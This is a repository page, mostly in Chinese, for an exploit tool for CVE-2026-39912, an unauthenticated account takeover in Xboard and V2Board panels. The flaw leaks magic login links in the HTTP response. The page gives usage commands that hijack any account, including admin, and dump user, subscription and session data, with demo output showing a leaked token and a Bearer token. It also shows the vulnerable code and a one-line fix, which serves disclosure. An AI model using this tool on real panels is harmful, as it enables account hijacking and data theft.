Chocapikk/CVE-2026-39912
GitHub: Chocapikk/CVE-2026-39912
针对Xboard和V2Board面板的未授权账户接管漏洞利用脚本,通过利用Magic Link Token泄露实现账户劫持。
Stars: 0 | Forks: 0
# CVE-2026-39912 - Xboard / V2Board 未授权账户接管
**loginWithMailLink 中的 Magic Link Token 泄露**
| | |
|---|---|
| **CVE** | CVE-2026-39912 |
| **CVSS** | 9.1 (严重) |
| **CWE** | CWE-201 (将敏感信息插入已发送数据中) |
| **受影响版本** | V2Board >= 1.6.1 至 1.7.4 / Xboard 所有版本至 0.1.9+ |
| **修复状态** | 尚未修复 (V2Board 自 2023 年 6 月起已停止维护) |
| **披露日期** | 2026-04-09 |
| **报告者** | [Valentin Lobstein (Chocapikk)](https://github.com/Chocapikk) |
| **分析文章** | [chocapikk.com](https://chocapikk.com/posts/2026/xboard-v2board-account-takeover/) |
| **修复 PR** | [V2Board #981](https://github.com/v2board/v2board/pull/981) / [Xboard #873](https://github.com/cedar2025/Xboard/pull/873) |
## 简介
`loginWithMailLink` 端点直接在 HTTP 响应正文中返回 magic 登录链接,而不是仅通过电子邮件发送。知道注册电子邮件地址的未授权攻击者可以在两次 HTTP 请求中接管任何账户——包括管理员账户。
## 受影响软件
- [V2Board](https://github.com/v2board/v2board) - 开源代理协议管理面板 (8.7k stars,已停止维护)
- [Xboard](https://github.com/cedar2025/Xboard) - V2Board 的衍生版本 (4k+ stars,积极维护中)
两者都是广泛部署的 VPN/代理面板,主要在中国使用。ZoomEye 显示互联网上有 7,000+ 个实例暴露。
## 要求
- 必须在管理员设置中启用 `login_with_mail_link_enable` (默认未启用)
- 一个有效的注册电子邮件地址
## 使用方法
```
# 安装依赖
pip install requests
# Account takeover + data dump
python3 exploit.py http://target:7001 admin@demo.com
# 保存 dump 到文件
python3 exploit.py http://target:7001 admin@demo.com -o dump.json
```
## 演示
```
$ python3 exploit.py http://target:7001 admin@demo.com
Xboard / V2Board - Unauth Account Takeover
Magic Link Token Leak (CVE-2026-39912) | by Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min from git clone to is_admin: true
[INFO] Requesting magic link for admin@demo.com
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "admin@demo.com",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
```
## 漏洞详情
**V2Board** (`app/Http/Controllers/Passport/AuthController.php`):
```
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token leaked to caller
]);
```
**Xboard** (`app/Services/Auth/MailLinkService.php`):
```
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Same bug, inherited from fork
```
## 修复方案
```
- return [true, $link];
+ return [true, true];
```
## 参考
- [V2Board - 漏洞代码 (第 71 行)](https://github.com/v2board/v2board/blob/0ca47622a50116d0ddd7ffb316b157afb57d25e8/app/Http/Controllers/Passport/AuthController.php#L71)
- [Xboard - 漏洞代码 (第 49 行)](https://github.com/cedar2025/Xboard/blob/1fe6531924cc1ec662a88b9ef725afcf78d660bc/app/Services/Auth/MailLinkService.php#L49)
- [引入该漏洞的原始提交 (2022-06-27)](https://github.com/v2board/v2board/commit/bdb10bed32c5f37df2f0872c3cb354e9b7a293bd)
标签:0day, CVE-2026-39912, CWE-201, EXP, Magic Link Token, StruQ, V2Board, VPN面板, Xboard, 代理管理, 信息泄露, 字符串匹配, 敏感信息插入, 未授权访问, 网络渗透, 账户接管, 身份认证绕过, 逆向工具, 高危漏洞